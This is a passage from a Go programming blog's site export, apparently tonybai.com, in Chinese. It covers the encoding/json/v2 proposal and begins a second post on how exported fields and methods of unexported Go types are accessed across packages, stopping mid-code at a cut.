在过去十年中，开发者在使用encoding/json的过程中，逐渐意识到了它在功能、API设计、性能和行为上存在的不足。这些问题可以归纳为以下几个方面，也正是encoding/json/v2提案希望解决的核心痛点：\n1.1 功能缺失 (Missing functionality) 尽管encoding/json功能完善，但仍存在一些重要的功能缺失，社区也为此提出了诸多Feature Request，其中最突出的包括：\ntime.Time的自定义格式化 (#21990): 缺乏灵活的方式来指定time.Time类型在JSON中的格式，例如自定义日期时间字符串格式。 Marshal时忽略特定Go值 (#11939, #22480, #50480, #29310, #52803, #45669): 现有的omitempty标签在某些场景下无法满足需求，开发者希望更精细地控制哪些Go值在Marshal时被忽略，例如忽略零值、空值或特定条件下的值。Go 1.24版本增加了omitzero tag，将在一定层度缓解这个问题。 将nil切片和mapMarshal为空JSON数组和对象 (#37711, #27589): encoding/json默认将nil切片和mapMarshal为JSONnull，但在某些场景下，开发者更期望将其Marshal为空的JSON数组[]和对象{}。 无Go嵌入的Inline类型 (#6213): 希望能够更灵活地将Go类型内联到JSON对象中，而无需依赖Go的struct嵌入机制。 虽然这些功能缺失大部分可以通过向现有encoding/json包添加新功能来解决，但可能会导致API变得臃肿和复杂。\n1.2 API 设计缺陷 (API deficiencies) encoding/json的API设计存在一些尖锐或限制性的问题，影响了开发者的使用体验：\n难以正确地从io.Reader进行Unmarshal: 常用的json.NewDecoder(r).Decode(v)方法并不能正确处理JSON payload末尾的垃圾数据 (#36225)，容易导致数据解析错误。 Marshal和Unmarshal函数无法使用Options: 虽然Encoder和Decoder类型支持Options配置，但Marshal和Unmarshal函数却无法使用，同样，实现Marshaler和Unmarshaler接口的类型也无法利用Options，缺乏选项配置的传递机制(#41144)。 Compact, Indent, HTMLEscape函数输出目标受限: 这些格式化函数只能将结果写入bytes.Buffer，而不是更灵活的[]byte或io.Writer，限制了函数的使用场景。 这些API缺陷可以通过向现有encoding/json包引入新的API来修复，但这可能会导致同一个任务在同一个包中存在多种不同的实现方式，增加学习成本和使用困惑。\n1.3 性能限制 (Performance limitations) encoding/json的性能表现一直备受关注，存在诸多限制性能提升的因素：\nMarshalJSON接口: 强制实现者分配[]byte返回值，且encoding/json需要再次解析返回值以验证JSON的有效性并重新格式化，造成不必要的性能开销。 UnmarshalJSON接口: 要求提供完整的JSON value，导致encoding/json需要预先完整解析JSON值以确定边界，之后UnmarshalJSON方法本身还需要再次解析，如果UnmarshalJSON递归调用Unmarshal，则会导致O(N²)的性能退化，例如Kubernetes kube-openapi项目在Unmarshalspec.Swagger时遇到的性能瓶颈 (kubernetes/kube-openapi#315)。 Encoder.WriteToken: 缺乏流式Encoder API，虽然提案已被接受(#40127)，但尚未实现，且可能同样存在性能问题。 Decoder.Token: Token类型是一个接口，可以容纳多种类型 (Delim, bool, float64, Number, string, nil)，当boxing数字或字符串到Token接口类型时，会频繁发生内存分配 (#40128)。 缺乏真正的流式处理: 即使Encoder.Encode和Decoder.Decode方法操作io.Writer和io.Reader，它们仍然会将整个JSON value缓冲到内存中，需要二次扫描JSON，与流式处理的初衷背道而驰 (#33714, #7872, #11046)。 encoding/json应该默认以真正的流式方式操作io.Writer和io.Reader。缓冲整个JSON value违背了使用io.Reader和io.Writer的意义。希望避免在发生错误时输出JSON 的用例应该调用Marshal，并在错误为nil时才写入输出。不幸的是，encoding/json无法默认切换到流式处理，因为这将是一个破坏性的行为变更，暗示着需要一个v2版本的json包来实现这个目标。\n1.4 行为缺陷 (Behavioral flaws) encoding/json在行为上存在诸多缺陷，随着JSON规范的日益严格 (RFC 4627, RFC 7159, RFC 7493, RFC 8259)，这些缺陷显得愈发突出：\nJSON 语法处理不严谨: encoding/json允许无效UTF-8字符，而最新的互联网标准 (RFC 8259) 要求使用有效的UTF-8编码。默认行为至少应符合RFC 8259，将无效UTF-8视为错误。 允许重复的对象成员名称: RFC8259规定，重复的对象成员名称会导致未指定的行为。从安全角度考虑，默认行为应更严格，拒绝重复名称，正如 RFC 7493 所建议的那样。 Unmarshal时大小写不敏感: Unmarshal时，JSON对象名称与Go struct字段名称使用大小写不敏感匹配 (#14750)，这既令人意外，也可能存在安全漏洞和性能瓶颈。 类型定义方法调用不一致: 由于encoding/json及其对Go反射的使用，MarshalJSON和UnmarshalJSON方法在底层值不可寻址时无法调用 (#22967, #27722, #33993, #55890)。 Merge语义不一致: Unmarshal到非空的Go值时，是否清除目标、重置并重用目标内存、或合并到目标的行为不一致 (#27172, #31924, #26946)。 Error 类型不一致: encoding/json返回的Error类型不一致，难以可靠地检测Syntactic error, Semantic error, I/O error等不同类型的错误。 这些行为缺陷在不破坏向后兼容性的前提下难以修复。虽然可以添加选项来指定不同的行为，但这并非理想方案，因为期望的行为不应作为非默认选项存在。改变默认行为同样意味着需要一个v2版本的json包。\n为了解决上述encoding/json包的种种问题，并为Go语言构建更强大、更现代化的JSON处理能力，Go团队正式提出了encoding/json/v2提案。正如**“JSON处理新引擎”这个本文标题所寓意的，encoding/json/v2并非简单的修补和改进，而是一次对Go语言JSON处理的彻底革新**。下面我们就来介绍一下这个新json引擎的主要功能和特点。\nencoding/json/v2：Go JSON处理的新引擎 encoding/json/v2提案并非简单地对现有encoding/json进行升级，而是引入了两个全新的包：\nencoding/json/jsontext: 这是一个纯语法层面的JSON处理包，专注于JSON语法的解析和生成，不依赖Go反射。它提供了对JSON令牌(Token)和原始值(Value)的操作，允许开发者在语法层面精细地控制JSON的编解码过程。 encoding/json/v2: 这是一个语义层面的JSON处理包，基于jsontext包实现，并依赖Go反射。它继承了encoding/json的核心功能，负责将Go值与JSON数据进行语义上的转换（Marshal 和 Unmarshal），并提供了更丰富的功能和更优的性能。 提案中还给出了两者的关系图，通过该图大家可以更直观地看出两个包之间的关系：\n此外，提案还考虑了与现有encoding/json的兼容性，并提供了选项来实现互操作。encoding/json包本身也将被重构，底层实现将基于encoding/json/v2来重新实现。\n下面是对jsontext包和json/v2包的核心API的介绍。\n2.1 encoding/json/jsontext包的关键API jsontext包提供了Encoder和Decoder类型，用于JSON的编码和解码，以及Token和Value类型来表示JSON的语法元素。\npackage jsontext // \u0026#34;encoding/json/jsontext\u0026#34; type Encoder struct { /* no exported fields */ } func NewEncoder(io.Writer, ...Options) *Encoder func (*Encoder) WriteToken(Token) error func (*Encoder) WriteValue(Value) error type Decoder struct { /* no exported fields */ } func NewDecoder(io.Reader, ...Options) *Decoder func (*Decoder) PeekKind() Kind func (*Decoder) ReadToken() (Token, error) func (*Decoder) ReadValue() (Value, error) func (*Decoder) SkipValue() error type Kind byte // JSON 令牌类型 type Token struct { /* no exported fields */ } // JSON 令牌 type Value []byte // JSON 原始值 其中：\nEncoder和Decoder: 提供流式的JSON编码和解码能力，操作io.Writer和io.Reader。 Token: 表示JSON的基本语法单元，例如null, true, false, 字符串, 数字, 对象开始{, 对象结束}, 数组开始[, 数组结束]等。 Value: 表示JSON的原始值，可以是完整的JSON对象或数组，类似于encoding/json中的RawMessage。 Kind: 枚举类型，表示Token和Value的类型，例如’n\u0026rsquo;(null),’t\u0026rsquo;(true),’”‘(string),’{‘(object start) 等。 jsontext包还提供了格式化JSON的函数，例如AppendFormat, AppendQuote, AppendUnquote等，以及用于配置行为的Options类型。\n2.2 encoding/json/v2包的关键API encoding/json/v2包提供了Marshal, Unmarshal等核心函数，以及MarshalWrite, MarshalEncode, UnmarshalRead, UnmarshalDecode等变体，用于不同场景下的JSON编解码。\npackage json // \u0026#34;encoding/json/v2\u0026#34; func Marshal(in any, opts ...Options) (out []byte, err error) func MarshalWrite(out io.Writer, in any, opts ...Options) error func MarshalEncode(out *jsontext.Encoder, in any, opts ...Options) error func Unmarshal(in []byte, out any, opts ...Options) error func UnmarshalRead(in io.Reader, out any, opts ...Options) error func UnmarshalDecode(in *jsontext.Decoder, out any, opts ...Options) error 其中：\nMarshal和Unmarshal: 核心的Marshal和Unmarshal函数，与encoding/json中的函数签名类似，但行为有所改进。 MarshalWrite, UnmarshalRead: 直接操作io.Writer和io.Reader，避免中间[]byte的分配。 MarshalEncode, UnmarshalDecode: 操作jsontext.Encoder和jsontext.Decoder，提供更底层的流式编解码能力。 Options: 用于配置Marshal和Unmarshal的行为，例如大小写敏感性、omitempty语义、错误处理等。 encoding/json/v2包还引入了更丰富的struct tag选项，例如omitzero, omitempty, string, nocase, strictcase, inline,unknown,format等，提供更灵活的字段映射和格式化控制。\n2.3 设计原则 下面是该proposal的一些设计原则梳理：\n分离语法与语义: 明确区分JSON的语法处理(jsontext)和语义处理(json/v2)，使得开发者可以根据需求选择合适的API。 流式处理: 提供流式的Encoder和Decoder，支持高效处理大规模JSON数据，避免一次性加载整个JSON文档到内存。 选项化配置: 通过Options类型提供丰富的配置选项，允许开发者根据具体需求定制JSON编解码的行为，例如大小写敏感性、格式化风格、错误处理方式等。 改进错误处理: 引入SyntacticError和SemanticError类型，提供更详细的错误信息，包括错误发生的位置 (JSON Pointer) 和具体的错误原因，方便问题定位和调试。 兼容性与迁移: encoding/json/v2尽可能兼容现有的encoding/json的行为，并提供选项 (DefaultOptionsV1) 来模拟v1的行为，方便用户平滑迁移。 接下来，我们再来看看json/v2相对于之前版本的提升与改进！\n相对于encoding/json的提升与改进 encoding/json/v2相对于现有的encoding/json包，在多个方面进行了显著的提升和改进：\n3.1 性能提升 jsontext包采用更高效的语法解析算法，json/v2在语义处理方面也进行了优化，整体性能相比encoding/json有显著提升，尤其在反序列化和流式处理方面。Benchmark 测试显示，encoding/json/v2的反序列化速度比encoding/json快2.7x到10.2x：\n以具体类型为例，下面是github.com/go-json-experiment/jsonbench给出的benchmark结果：\n3.2 更正的行为 encoding/json/v2修正了encoding/json中一些行为不一致性和历史遗留问题，例如：\n大小写敏感的字段匹配: 默认采用严格的大小写敏感匹配，更符合JSON规范，并通过MatchCaseInsensitiveNames和nocasetag选项提供大小写不敏感匹配的灵活性。 重新定义omitempty语义: omitempty基于JSON类型系统重新定义，更加清晰和一致，并通过OmitEmptyWithLegacyDefinition选项提供兼容v1 行为的选择。 nil切片和map的处理: 默认将nil切片和mapMarshal为空JSON数组和对象，而非null，并通过FormatNilSliceAsNull和FormatNilMapAsNull选项提供Marshal为null的选择。 字节数组的表示: 默认将[]\\byteMarshal为Base64编码的JSON字符串，而非JSON数字数组，并通过FormatBytesWithLegacySemantics和format:arraytag 选项提供兼容v1行为的选择。 方法调用的可寻址性: MarshalJSON方法无论Go值是否可寻址都可调用，更符合预期。 Map Key 的方法调用: MarshalJSON和UnmarshalJSON方法可以用于 Map Key，提供更强大的自定义能力。 确定性输出: 通过Deterministic选项，可以保证相同输入Marshal出相同的JSON字节序列。 最小化转义: 默认使用最小化的JSON字符串转义，仅在必要时进行转义，例如只在HTML或JavaScript环境下才进行特殊字符的转义。 UTF-8 验证: 默认严格验证UTF-8编码，拒绝包含无效UTF-8的JSON输入，并通过AllowInvalidUTF8选项允许处理无效UTF-8。 重复Key错误: 默认拒绝JSON对象中存在重复的Key，更符合JSON 规范，并通过AllowDuplicateNames选项允许处理重复Key。 Null值的Unmarshal: Unmarshal JSONnull时，始终一致地将Go值置零。 Unmarshal合并行为: Unmarshal JSON对象时，默认合并到已有的Go值，而非完全替换，提供更灵活的更新语义。 time.Duration的表示: 默认将time.DurationMarshal为JSON 字符串，而非纳秒数字，并通过FormatTimeWithLegacySemantics和format:nanotag选项提供兼容v1行为的选择。 运行时错误报告: 对Go结构体类型中的结构性错误（例如错误的tag选项）进行运行时错误报告，提前发现问题。 3.3 更灵活的 API jsontext包提供了更底层的API，允许开发者直接操作JSON token和原始值，实现更精细的JSON处理逻辑。json/v2提供了更多的选项和 struct tag 选项，支持更丰富的自定义需求。\n3.4 更清晰的错误信息 SyntacticError和SemanticError类型提供了更详细的错误信息，包括错误位置 (JSON Pointer) 和错误原因，方便问题排查。\nencoding/json与encoding/json/v2的联系 encoding/json/v2提案的一个重要目标是实现与现有encoding/json的平滑过渡。为此，提案采取了以下策略：\nencoding/json基于encoding/json/v2实现: 未来的encoding/json包将完全基于encoding/json/v2包进行重构，这意味着encoding/json/v2将成为Go语言官方JSON处理的核心引擎。 DefaultOptionsV1选项: encoding/json包将提供DefaultOptionsV1选项，该选项预设了一系列兼容v1行为的配置，使得encoding/json的默认行为尽可能与旧版本保持一致。 互操作选项: encoding/json/v2和encoding/json都提供了大量的选项，允许开发者在v1和v2行为之间进行灵活切换，逐步迁移到v2的新特性。 示例代码 以下示例展示了encoding/json/v2的基本用法(示例改自https://github.com/go-json-experiment/json/blob/master/example_test.go)：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;github.com/go-json-experiment/json\u0026#34; \u0026#34;github.com/go-json-experiment/json/jsontext\u0026#34; ) func main() { var value struct { // This field is explicitly ignored with the special \u0026#34;-\u0026#34; name. Ignored any `json:\u0026#34;-\u0026#34;` // No JSON name is not provided, so the Go field name is used. GoName any // A JSON name is provided without any special characters. JSONName any `json:\u0026#34;jsonName\u0026#34;` // No JSON name is not provided, so the Go field name is used. Option any `json:\u0026#34;,nocase\u0026#34;` // An empty JSON name specified using an single-quoted string literal. Empty any `json:\u0026#34;\u0026#39;\u0026#39;\u0026#34;` // A dash JSON name specified using an single-quoted string literal. Dash any `json:\u0026#34;\u0026#39;-\u0026#39;\u0026#34;` // A comma JSON name specified using an single-quoted string literal. Comma any `json:\u0026#34;\u0026#39;,\u0026#39;\u0026#34;` // JSON name with quotes specified using a single-quoted string literal. Quote any `json:\u0026#34;\u0026#39;\\\u0026#34;\\\\\u0026#39;\u0026#39;\u0026#34;` // An unexported field is always ignored. unexported any } b, err := json.Marshal(value) if err != nil { log.Fatal(err) } (*jsontext.Value)(\u0026amp;b).Indent() // indent for readability fmt.Println(string(b)) } 这段示例代码旨在演示github.com/go-json-experiment/json (即提案中encoding/json/v2的参考实现) 在处理Go结构体字段的json tag时，对于不同命名约定和特殊字符的处理方式。结构体value定义了多个字段，每个字段都使用了不同的json tag，用于演示不同的命名和选项，具体选项含义可以参考proposal中的说明。\n(*jsontext.Value)(\u0026amp;b).Indent() // indent for readability 前面说过，jsontext是操作json语法的包，json缩进的工作就交给了该包的Value的Indent方法。在encoding/json中，我们通常直接用MarshalIndent来进行格式化json的工作。\n运行上述示例将输出如下结果：\n$go run main.go { \u0026#34;GoName\u0026#34;: null, \u0026#34;jsonName\u0026#34;: null, \u0026#34;Option\u0026#34;: null, \u0026#34;\u0026#34;: null, \u0026#34;-\u0026#34;: null, \u0026#34;,\u0026#34;: null, \u0026#34;\\\u0026#34;\u0026#39;\u0026#34;: null } 更多示例，可以参见 https://github.com/go-json-experiment/json/blob/master/example_test.go源文件。\n小结 encoding/json/v2提案代表了Go语言在JSON处理方面的一次重大升级。通过引入jsontext和json/v2两个包，并提供更强大的API、更丰富的选项和更优的性能，encoding/json/v2将为Go开发者带来更高效、更灵活、更可靠的JSON处理体验。同时，该提案也充分考虑了与现有encoding/json的兼容性，为用户平滑迁移提供了保障。encoding/json/v2的引入，无疑将进一步提升Go语言在Web开发、数据处理等领域的竞争力，为Go开发者构建下一代应用提供更强大的JSON处理新引擎。\n参考资料 proposal: encoding/json/v2: new API for encoding/json – https://github.com/golang/go/issues/71497 discussions: encoding/json/v2 – https://github.com/golang/go/discussions/63397 GopherCon 2023: The Future of JSON in Go – Joe Tsai – https://www.youtube.com/watch?v=avilmOcHKHE json/v2参考实现 – https://github.com/go-json-experiment/json json/v2 benchmark – https://github.com/go-json-experiment/jsonbench Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/02/05/go-encoding-json-v2-proposal-json-processing-new-engine/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-encoding-json-v2-proposal-json-processing-new-engine-1.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/02/05/go-encoding-json-v2-proposal-json-processing-new-engine\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/02/05/go-encoding-json-v2-proposal-json-processing-new-engine\"\u003ehttps://tonybai.com/2025/02/05/go-encoding-json-v2-proposal-json-processing-new-engine\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo标准库中的encoding/json包，作为Go社区广泛使用的JSON处理工具，\u003ca href=\"https://tonybai.com/2024/11/12/go-turns-15/\"\u003e至今已走过十余年\u003c/a\u003e。凭借其将JSON数据与原生Go类型相互转换的能力、通过struct tag自定义字段表示的灵活性，以及Go类型自定义JSON格式的特性，赢得了Go开发者的青睐。\u003c/p\u003e","title":"Go encoding/json/v2提案：JSON处理新引擎"},{"content":"\n本文永久链接 – https://tonybai.com/2025/01/23/the-hidden-details-of-go-exported-identifiers\n前不久，在“Go+用户组”微信群里看到有开发者向七牛云老板许式伟反馈七牛云Go SDK中的某些类型没有导出，导致外部包无法使用的问题(如下图)：\n七牛开发人员迅速对该问题做出了“更正”，将问题反馈中涉及的类型saveasArgs和saveasReply改为了导出类型，即首字母大写：\n不过，这看似寻常的问题反馈与修正却引发了我的一些思考。\n我们大胆臆想一下：如果saveasReply类型的开发者是故意将saveasReply类型设置为非导出的呢？看一下“更正”之前的saveasReply代码：\ntype saveasReply struct { Fname string `json:\u0026#34;fname\u0026#34;` PersistenId string `json:\u0026#34;persistentId,omitempty\u0026#34;` Bucket string `json:\u0026#34;bucket\u0026#34;` Duration int `json:\u0026#34;duration\u0026#34;` // ms } 有读者可能会问：那为什么还将saveasReply结构体的字段设置为导出字段呢？请注意每个字段后面的结构体标签(struct tag)。这显然是为了进行JSON 编解码，因为目前Go的encoding/json包仅会对导出字段进行编解码处理。\n除了这个原因，原开发者可能还希望包的使用者能够访问这些导出字段，而又不想完全暴露该类型。我在此不对这种设计的合理性进行评价，而是想探讨这种做法是否可行。\n我们对Go导出标识符的传统理解是：导出标识符（以大写字母开头的标识符）可以在包外被访问和使用，而非导出标识符（以小写字母开头的标识符）只能在定义它们的包内访问。这种机制帮助开发者控制类型和函数的可见性，确保内部实现细节不会被随意访问，从而增强封装性。\n但实际上，Go的导出标识符机制是否允许在某些情况下，即使类型本身是非导出的，其导出字段依然可以被包外的代码访问呢？该类型的导出方法呢？这些关于Go导出标识符的细节可能是鲜少人探讨的，在这篇博文中，我们将系统地了解这些机制，希望能为各位小伙伴带来更深入的理解。\nGo对导出标识符的定义 我们先回顾一下Go语言规范(go spec)对导出标识符的定义：\n我们通常使用英文字母来命名标识符，因此可以将上述定义中的第一句理解为：以大写英文字母开头的标识符即为导出标识符。\n注：Unicode字符类别Lu（Uppercase Letter）包含所有的大写字母。这一类别不仅包括英文大写字母，还涵盖多种语言的大写字符，例如希腊字母、阿拉伯字母、希伯来字母和西里尔字母等。然而，我非常不建议大家使用非英文大写字母来表示导出标识符，因为这可能会挑战大家的认知习惯。\n而第二句后半部分的描述往往被我们忽视或理解不够到位。一个类型的字段名和方法名可以是导出的，但并没有明确要求其关联的类型本身也必须是导出的。\n这为我们提供了进一步探索Go导出标识符细节的机会。接下来，我们就用具体示例看看是否可以在包外访问非导出类型的导出字段以及导出方法。\n在包外访问非导出类型的导出字段 我们首先定义一个带有导出字段的非导出类型myStruct，并将它放在mypackage里：\n// go-exported-identifiers/field/mypackage/mypackage.go package mypackage type myStruct struct { Field string // 导出的字段 } // NewMyStruct1是一个导出的函数，返回myStruct的指针 func NewMyStruct1(value string) *myStruct { return \u0026amp;myStruct{Field: value} } // NewMyStruct1是一个导出的函数，返回myStruct类型变量 func NewMyStruct2(value string) myStruct { return myStruct{Field: value} } 然后我们在包外尝试访问myStruct类型的导出字段：\n// go-exported-identifiers/field/main.go package main import ( \u0026#34;demo/mypackage\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { // 通过导出的函数获取myStruct的指针 ms1 := mypackage.NewMyStruct1(\u0026#34;Hello1\u0026#34;) // 尝试访问Field字段 fmt.Println(ms1.Field) // Hello1 // 通过导出的函数获取myStruct类型变量 ms2 := mypackage.NewMyStruct1(\u0026#34;Hello2\u0026#34;) // 尝试访问Field字段 fmt.Println(ms2.Field) // Hello2 } 在go-exported-identifiers/field目录下编译运行该示例：\n$go run main.go Hello1 Hello2 我们看到，无论是通过myStruct的指针还是实例副本，都可以成功访问其导出变量Field。这个示例的关键就是：我们使用了短变量声明直接通过调用myStruct的两个“构造函数(NewXXX)”得到了其指针(ms1)以及实例副本(ms2)。在这个过程中，我们没有在main包中显式使用mypackage.myStruct这个非导出类型。\n采用类似的方案，我们接下来再看看是否可以在包外访问非导出类型的导出方法。\n在包外访问非导出类型的导出方法 我们为非导出类型添加两个导出方法M1和M2：\n// go-exported-identifiers/method/mypackage/mypackage.go package mypackage import \u0026#34;fmt\u0026#34; type myStruct struct { Field string // 导出的字段 } // NewMyStruct1是一个导出的函数，返回myStruct的指针 func NewMyStruct1(value string) *myStruct { return \u0026amp;myStruct{Field: value} } // NewMyStruct1是一个导出的函数，返回myStruct类型变量 func NewMyStruct2(value string) myStruct { return myStruct{Field: value} } func (m *myStruct) M1() { fmt.Println(\u0026#34;invoke *myStruct\u0026#39;s M1\u0026#34;) } func (m myStruct) M2() { fmt.Println(\u0026#34;invoke myStruct\u0026#39;s M2\u0026#34;) } 然后，试着在外部包中调用M1和M2方法：\n// go-exported-identifiers/method/main.go package main import ( \u0026#34;demo/mypackage\u0026#34; ) func main() { // 通过导出的函数获取myStruct的指针 ms1 := mypackage.NewMyStruct1(\u0026#34;Hello1\u0026#34;) ms1.M1() ms1.M2() // 通过导出的函数获取myStruct类型变量 ms2 := mypackage.NewMyStruct2(\u0026#34;Hello2\u0026#34;) ms2.M1() ms2.M2() } 在go-exported-identifiers/method目录下编译运行这个示例：\n$go run main.go invoke *myStruct\u0026#39;s M1 invoke myStruct\u0026#39;s M2 invoke *myStruct\u0026#39;s M1 invoke myStruct\u0026#39;s M2 我们看到，无论是通过非导出类型的指针，还是通过非导出类型的变量复本都可以成功调用非导出类型的导出方法。\n提及方法，我们会顺带想到接口，非导出类型是否可以实现某个外部包定义的接口呢？我们继续往下看。\n非导出类型实现某个外部包的接口 在Go中，如果某个类型T实现了某个接口类型I的方法集合中的所有方法，我们就说T实现了I，T的实例可以赋值给I类型的接口变量。\n在下面示例中，我们看看非导出类型是否可以实现某个外部包的接口。\n在这个示例中mypackage包中的内容与上面示例一致，主要改动的是main.go，我们来看一下：\n// go-exported-identifiers/interface/main.go package main import ( \u0026#34;demo/mypackage\u0026#34; ) // 定义一个导出的接口 type MyInterface interface { M1() M2() } func main() { var mi MyInterface // 通过导出的函数获取myStruct的指针 ms1 := mypackage.NewMyStruct1(\u0026#34;Hello1\u0026#34;) mi = ms1 mi.M1() mi.M2() // 通过导出的函数获取myStruct类型变量 // ms2 := mypackage.NewMyStruct2(\u0026#34;Hello2\u0026#34;) // mi = ms2 // compile error: mypackage.myStruct does not implement MyInterface // ms2.M1() // ms2.M2() } 在这个main.go中，我们定义了一个接口MyInterface，它的方法集合中有两个方法M1和M2。根据类型方法集合的判定规则，*myStruct类型实现了MyInterface的所有方法，而myStruct类型则不满足，没有实现M1方法，我们在go-exported-identifiers/interface目录下编译运行这个示例，看看是否与我们预期的一致：\n$go run main.go invoke *myStruct\u0026#39;s M1 invoke myStruct\u0026#39;s M2 如果我们去掉上面代码中对ms2的注释，那么将得到Compiler error: mypackage.myStruct does not implement MyInterface。\n注：关于一个类型的方法集合的判定规则，可以参考我的极客时间《Go语言第一课》专栏的第25讲。\n接下来，我们再来考虑一个场景，即非导出类型用作嵌入字段的情况，我们要看看该非导出类型的导出方法和导出字段是否会promote到外部类型中。\n非导出类型用作嵌入字段 我们改造一下示例，新版的带有嵌入字段的结构见下面mypackage包的代码：\n// go-exported-identifiers/embedded_field/mypackage/mypackage.go package mypackage import \u0026#34;fmt\u0026#34; type nonExported struct { Field string // 导出的字段 } // Exported 是导出的结构体，嵌入了nonExported type Exported struct { nonExported // 嵌入非导出结构体 } func NewExported(value string) *Exported { return \u0026amp;Exported{ nonExported: nonExported{ Field: value, }, } } // M1是导出的函数 func (n *nonExported) M1() { fmt.Println(\u0026#34;invoke nonExported\u0026#39;s M1\u0026#34;) } // M2是导出的函数 func (e *Exported) M2() { fmt.Println(\u0026#34;invoke Exported\u0026#39;s M2\u0026#34;) } 这里新增一个导出类型Exported，它嵌入了一个非导出类型nonExported，后者拥有导出字段Field，以及两个导出方法M1。我们也Exported类型定义了一个方法M2。\n下面我们再来看看main.go中是如何使用Exported的：\n// go-exported-identifiers/embedded_field/main.go package main import ( \u0026#34;demo/mypackage\u0026#34; \u0026#34;fmt\u0026#34; ) // 定义一个导出的接口 type MyInterface interface { M1() M2() } func main() { ms := mypackage.NewExported(\u0026#34;Hello\u0026#34;) fmt.Println(ms.Field) // 访问嵌入的非导出结构体的导出字段 ms.M1() // 访问嵌入的非导出结构体的导出方法 var mi MyInterface = ms mi.M1() mi.M2() } 在go-exported-identifiers/embedded_field目录下编译运行这个示例：\n$go run main.go Hello invoke nonExported\u0026#39;s M1 invoke nonExported\u0026#39;s M1 invoke Exported\u0026#39;s M2 我们看到，作为嵌入字段的非导出类型的导出字段与方法会被自动promote到外部类型中，通过外部类型的变量可以直接访问这些字段以及调用这些导出方法。这些方法还可以作为外部类型方法集中的一员，来作为满足特定接口类型(如上面代码中的MyInterface)的条件。\nGo 1.18增加了泛型支持，那么非导出类型是否可以用作泛型函数和泛型类型的类型实参呢？最后我们来看看这个细节。\n非导出类型用作泛型函数和泛型类型的类型实参 和前面一样，我们先定义用于该示例的带有导出字段和导出方法的非导出类型：\n// go-exported-identifiers/generics/mypackage/mypackage.go package mypackage import \u0026#34;fmt\u0026#34; // 定义一个非导出的结构体 type nonExported struct { Field string } // 导出的方法 func (n *nonExported) M1() { fmt.Println(\u0026#34;invoke nonExported\u0026#39;s M1\u0026#34;) } func (n *nonExported) M2() { fmt.Println(\u0026#34;invoke nonExported\u0026#39;s M2\u0026#34;) } // 导出的函数，用于创建非导出类型的实例 func NewNonExported(value string) *nonExported { return \u0026amp;nonExported{Field: value} } 现在我们将其用于泛型函数，下面定义了泛型函数UseNonExportedAsTypeArgument，它的类型参数使用MyInterface作为约束，而上面的nonExported显然满足该约束，我们通过构造函数NewNonExported获得非导出类型的实例，然后将其传递给UseNonExportedAsTypeArgument，Go会通过泛型的类型参数自动推导机制推断出类型实参的类型：\n// go-exported-identifiers/generics/main.go package main import ( \u0026#34;demo/mypackage\u0026#34; ) // 定义一个用作约束的接口 type MyInterface interface { M1() M2() } func UseNonExportedAsTypeArgument[T MyInterface](item T) { item.M1() item.M2() } // 定义一个带有泛型参数的新类型 type GenericType[T MyInterface] struct { Item T } func NewGenericType[T MyInterface](item T) GenericType[T] { return GenericType[T]{Item: item} } func main() { // 创建非导出类型的实例 n := mypackage.NewNonExported(\u0026#34;Hello\u0026#34;) // 调用泛型函数，传入实现了MyInterface的非导出类型 UseNonExportedAsTypeArgument(n) // ok // g := GenericType{Item: n} // compiler error: cannot use generic type GenericType[T MyInterface] without instantiation g := NewGenericType(n) g.Item.M1() } 但由于目前Go泛型还不支持对泛型类型的类型参数的自动推导，所以直接通过g := GenericType{Item: n}来初始化一个泛型类型变量将导致编译错误！我们需要借助泛型函数的推导机制将非导出类型与泛型类型进行结合，参见上述示例中的NewGenericType函数，通过泛型函数支持的类型参数的自动推导间接获得GenericType的类型实参。在go-exported-identifiers/generics目录下编译运行这个示例，便可得到我们预期的结果：\n$go run main.go invoke nonExported\u0026#39;s M1 invoke nonExported\u0026#39;s M2 invoke nonExported\u0026#39;s M1 非导出类型使用导出字段以及导出方法的用途 前面的诸多示例证明了：即使类型本身是非导出的，但其内部的导出字段以及它的导出方法依然可以在外部包中使用，并且在实现接口、嵌入字段、泛型等使用场景下均有效。\n到这里，你可能会提出这样一个问题：会有Go开发者使用非导出类型结合导出字段或方法的设计吗？\n其实这种还是很常见的，在Go标准库中就有不少，只不过它们更多是包内使用，类似于非导出类型xxxImpl和它的Wrapper类型XXX的关系，或是xxxImpl或嵌入到XXX中，就像这样：\n// 包内实现 type xxxImpl struct { // 非导出的实现类型 // 内部字段 } // 导出的包装类型 type XXX struct { impl *xxxImpl // 包含实现类型 // 其他字段 } // 或者通过嵌入方式 type XXX struct { *xxxImpl // 嵌入实现类型 // 其他字段 } 但也有一些可以包外使用的，比如实现了某个接口，并通过接口值返回，提供给外部使用，例如下面的valueCtx，它实现了Context接口，并通过WithValue返回，供调用WithValue的外部包使用：\n//$GOROOT/src/context/context.go func WithValue(parent Context, key, val any) Context { // 构造函数，实现接口 if parent == nil { panic(\u0026#34;cannot create context from nil parent\u0026#34;) } if key == nil { panic(\u0026#34;nil key\u0026#34;) } if 